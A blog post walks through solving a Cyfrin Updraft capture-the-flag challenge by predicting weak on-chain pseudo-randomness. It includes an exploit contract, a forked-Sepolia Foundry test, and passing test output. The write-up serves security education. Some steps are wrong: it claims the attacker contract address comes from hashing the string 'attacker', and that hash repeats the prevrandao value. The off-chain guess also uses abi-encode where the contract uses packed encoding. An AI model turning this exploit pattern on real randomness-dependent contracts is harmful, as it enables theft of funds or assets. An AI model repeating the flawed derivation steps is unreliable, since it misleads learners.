DEV Community

Pavel Egin
Pavel Egin

Posted on • Edited on

🎯 Cracking Cyfrin's NFT Challenge: Guessing Pseudo-Randomness Like a Pro

Hey there!

I'm kode-n-rolla — a security researcher diving deep into Web3 security. I'm fascinated by how blockchains work under the hood, especially when it comes to smart contract vulnerabilities. Every day I’m reverse-engineering contracts, breaking things (ethically 😉), and sharpening my Solidity + Foundry skills.

Recently, I discovered Cyfrin Updraft — a free platform for learning Solidity and blockchain security. Alongside their learning modules, they offer unique NFT challenges. These are not ordinary quizzes — you have to actually exploit something to solve the task and earn a badass on-chain NFT proving your skills 🧠🔓

This article is a walkthrough of how I solved Lesson Nine, a challenge where your goal is to guess a pseudo-random number and call solveChallenge(...) to claim the NFT.

Sounds impossible? Not really — once you understand:

  • How abi.encodePacked, keccak256 and % 100000 work together
  • How values like block.timestamp and block.prevrandao affect randomness
  • How to simulate the Sepolia chain using a fork + vm.warp in Foundry
  • How to craft the correct input without reverting

If you're learning smart contract security and want a hands-on example of attacking pseudo-randomness — this one's for you. Let’s dig in 🔍

🛠️ Setting Up the Playground

Before writing any exploit code, we need a proper environment to simulate the real Sepolia blockchain.

🔧 Step 1: Start a Foundry project

forge init lesson9
cd lesson9
Enter fullscreen mode Exit fullscreen mode

Foundry is my go-to tool for smart contract testing. It's blazing fast, flexible, and lets you fork real blockchains easily.

📁 Step 2: Create a .env file

We’ll be forking Sepolia at a specific block, so we need to set up environment variables.

SEPOLIA_RPC="https://sepolia.infura.io/v3/YOUR_API_KEY"
TARGET="0xTargetContractAddress"
FORK_BLOCK=8997426
Enter fullscreen mode Exit fullscreen mode

To load them inside tests, don’t forget to source the file:

source .env
Enter fullscreen mode Exit fullscreen mode

🔍 Step 3: Pick a specific block to fork

Why do we need a fixed block?

Because the challenge uses block.timestamp and block.prevrandao as part of the pseudo-randomness. If you don’t lock those values, your guess will always be wrong.

Get the latest block number:

cast block-number --rpc-url $SEPOLIA_RPC
Enter fullscreen mode Exit fullscreen mode

Pick one (e.g., 8997426) and get its full details:

cast block 8997426 --rpc-url $SEPOLIA_RPC
Enter fullscreen mode Exit fullscreen mode

Save the timestamp and mixHash (this is actually prevrandao).

Step 4: Add the target interface

Create src/ILessonNine.sol
with the interface of the challenge contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

/// @title LessonNine Interface - Solve the pseudo-randomness challenge
interface ILessonNine {
    function solveChallenge(uint256 randomGuess, string calldata yourTwitterHandle) external;
}
Enter fullscreen mode Exit fullscreen mode

Why interface? Because we don’t need the full contract, just its external call signature to interact with it.

Ready for the next step — generating the correct input and attacker address? 😏

Let’s go!

🎯 Cracking the "Random" — Making a Correct Guess

The goal of this challenge is to guess the correct number (between 0 and 99999) generated inside the contract. It uses a very common but insecure pattern for pseudo-randomness:

uint256 guess = uint256(keccak256(abi.encodePacked(msg.sender, block.prevrandao, block.timestamp))) % 100000;
Enter fullscreen mode Exit fullscreen mode

Let’s break that down. It depends on:

  • msg.sender: in our case, it's a contract we deploy
  • block.prevrandao: randomness beacon from the previous block (also called mixHash)
  • block.timestamp: current block timestamp

But since we control all of this (via a fork!), the randomness isn't really random anymore 😉

🕵️‍♂️ Step 1: Re-create the guess off-chain

We start by selecting:

  • A known timestamp from the block (1755355572)
  • A known prevrandao/mixHash from the block (0x3a70aa...)
  • And we choose our attacker contract address

But we need to know the future address of our attacking contract… wait, how?

🧠 Step 2: Predict attacker contract address

Since we're deploying the attacking contract from a fixed EOA, the deployed contract address is predictable.

We picked an attacker address:

export attackerEOA=0x97154a62Cd5641a577e092d2Eee7e39Fcb3333Dc
Enter fullscreen mode Exit fullscreen mode

Then we computed the contract address using Foundry:

cast keccak "attacker"
# → 0x3a70aa...  ← use the last 40 hex characters (20 bytes) for the contract address
Enter fullscreen mode Exit fullscreen mode

🔢 Step 3: Build the exact calldata

The solveChallenge() function expects:

function solveChallenge(uint256 randomGuess, string calldata yourTwitterHandle)
Enter fullscreen mode Exit fullscreen mode

To simulate the guess off-chain, we do:

cast abi-encode "f(address,uint256,uint256)" \
  <contract_address> \
  <prevrandao> \
  <timestamp>
Enter fullscreen mode Exit fullscreen mode

Then hash the full data:

cast keccak <abi_encoded_data>
Enter fullscreen mode Exit fullscreen mode

And finally:

echo "$((0x<hash> % 100000))"
# ✅ That’s your correct guess!
Enter fullscreen mode Exit fullscreen mode

In our case, the guess was 90451.

🔥 This is the core of the challenge — reversing a weak random generator with on-chain data. It shows why you should never use block variables for randomness in security-critical logic.

🛠 Writing the Exploit — Deploy, Guess, Profit

Once we’ve cracked the guess off-chain, it’s time to actually submit it. But there’s one more twist — the challenge contract is expecting the call from a smart contract (not an EOA), which will act as the msg.sender.

Let’s build that!

📦 Hack Contract

contract HackLessonNine {
    ILessonNine public target;
    string public handle;

    constructor(address _target, string memory _handle) {
        target = ILessonNine(_target);
        handle = _handle;
    }

    function run() public {
        uint256 guess = uint256(
            keccak256(
                abi.encodePacked(address(this), block.prevrandao, block.timestamp)
            )
        ) % 100000;

        target.solveChallenge(guess, handle);
    }

    receive() external payable {}

    function onERC721Received(...) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
Enter fullscreen mode Exit fullscreen mode

What’s happening here:

  • We store the target contract and Twitter handle.
  • In run() we rebuild the guess on-chain using address(this), block.prevrandao and block.timestamp — exactly as the challenge does.
  • Then we call solveChallenge() with the guess.
  • The onERC721Received function is required to receive the NFT if the challenge uses safeTransferFrom.

Writing the Forge Test

contract HackSolve is Test {
    uint256 fork;
    address TARGET;
    address attackerEOA = 0x97154a62Cd5641a577e092d2Eee7e39Fcb3333Dc;

    function setUp() public {
        string memory rpc = vm.envString("SEPOLIA_RPC");
        uint256 blockNum = vm.envUint("FORK_BLOCK");
        TARGET = vm.envAddress("TARGET");

        fork = vm.createFork(rpc, blockNum);
        vm.selectFork(fork);

        vm.warp(1755355572); // ⏳ Timestamp override
        vm.deal(attackerEOA, 1 ether); // 💰 Fund the attacker
    }

    function test_ExploitWithInternalCall() public {
        vm.selectFork(fork);
        vm.startPrank(attackerEOA);

        HackLessonNine hack = new HackLessonNine(TARGET, "0xsolver");
        hack.run();

        vm.stopPrank();
    }
}
Enter fullscreen mode Exit fullscreen mode

🧠 Why this works:

  • The fork is created at the block we analyzed earlier.
  • vm.warp() freezes the time to match the one used in the off-chain guess.
  • startPrank() lets us deploy and interact as the attackerEOA, keeping the deployed contract address consistent.
  • Finally, we deploy the HackLessonNine contract and call run() — and voilà! 🎉

If everything’s correct, the NFT will be minted to the contract and transferred to the attacker EOA!

All Code on GitHub

You can find all the necessary files for this challenge — including the HackLessonNine contract, the Forge test, and even .env examples — in my GitHub repo 👉 here

This way, you don’t need to copy-paste from the article — everything’s structured and ready to run.

📘 Bonus: NatSpec Comments

I also added NatSpec comments to the contracts — it’s a good practice to document your smart contracts properly, especially when collaborating or auditing. Think of it as the Solidity equivalent of writing clean commit messages 😄

They might look like this:

/**
 * @title HackLessonNine
 * @author your name
 * @notice This contract computes the pseudo-random number and calls the solve function.
 */
Enter fullscreen mode Exit fullscreen mode

They don’t affect execution, but they help readers (and tools!) understand your code faster. Let’s make good habits the default. 👨‍💻✨

✅ Writing the Forge Test

Here’s where the magic happens — we simulate the entire attack in a Foundry test using a Sepolia fork. This gives us a clean and controlled environment where we can call solveChallenge under real blockchain conditions.

Let’s break it down:

contract HackSolve is Test {
    uint256 fork;
    address TARGET;
    address attackerEOA = 0x9715...3Dc;
Enter fullscreen mode Exit fullscreen mode

We define:

  • fork – for storing our fork ID,
  • TARGET – the target contract we’ll interact with,
  • attackerEOA – the address we manually derived earlier (you remember that cast keccak moment 😏).

setUp(): Preparing the Fork

function setUp() public {
    string memory rpc = vm.envString("SEPOLIA_RPC");
    uint256 blockNum = vm.envUint("FORK_BLOCK");
    TARGET = vm.envAddress("TARGET");

    fork = vm.createFork(rpc, blockNum);
    vm.selectFork(fork);

    vm.warp(1755355572);
    vm.deal(attackerEOA, 1 ether);
}
Enter fullscreen mode Exit fullscreen mode

This function:

  • Reads our .env variables,
  • Creates and selects a fork of Sepolia at the exact block we inspected,
  • Time-travels to the original block timestamp using vm.warp, and
  • Funds our attackerEOA with 1 ether to pay for gas 💸

🚀 test_ExploitWithInternalCall()

function test_ExploitWithInternalCall() public {
    vm.selectFork(fork);
    vm.startPrank(attackerEOA);

    HackLessonNine hack = new HackLessonNine(TARGET, "0xsolver");
    hack.run();

    vm.stopPrank();
}
Enter fullscreen mode Exit fullscreen mode

This is the actual exploit:

  • We use vm.startPrank(attackerEOA) to impersonate the attacker.
  • We deploy the HackLessonNine contract with our handle (that shows up on the NFT 👀).
  • Calling run() triggers the pseudo-random guess generation and sends it to the challenge contract.

Let’s run the test command:

forge test --mc HackSolve -vvv
[⠊] Compiling...
[⠑] Compiling 1 files with Solc 0.8.30
[⠘] Solc 0.8.30 finished in 1.55s
Compiler run successful!

Ran 1 test for test/HackSolve.t.sol:HackSolve
[PASS] test_ExploitWithInternalCall() (gas: 621045)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 399.25ms (1.14ms CPU time)

Ran 1 test suite in 401.88ms (399.25ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Enter fullscreen mode Exit fullscreen mode

If everything is like this… 🎉 you receive the NFT (locally, not in real network)!

🧠 Final Thoughts: Pseudorandomness & Blockchain

Before we wrap up, let’s talk briefly about the core idea behind this challenge — pseudorandom numbers.

In traditional applications, generating random numbers is relatively easy thanks to system entropy (e.g. from mouse movement, CPU jitter, etc). But on-chain randomness is a completely different beast.

Why?
Because everything on the blockchain is deterministic. Every node must come to the exact same state — otherwise, consensus breaks.

That’s why when developers try to use values like block.timestamp, block.prevrandao, or msg.sender to simulate randomness, it’s never truly random — and often, it's predictable or manipulatable.

This is where pseudorandomness comes in — it’s not real randomness, but it's often "good enough"... unless a clever attacker (like us 😉) finds the pattern.

🔒 For truly secure randomness on-chain, projects rely on oracles like Chainlink VRF. It provides verifiable randomness — provably fair and tamper-resistant.

🙌 Thanks for Reading

Thanks for coming along this journey with me!

I hope this walkthrough helped demystify not only the challenge but also how randomness works (or doesn’t work!) on-chain.
If you're also diving into Web3 security, Solidity fuzzing, or just love weird quirks in smart contracts — let’s connect!

📎 Useful links:

Happy hacking! 👾

Top comments (0)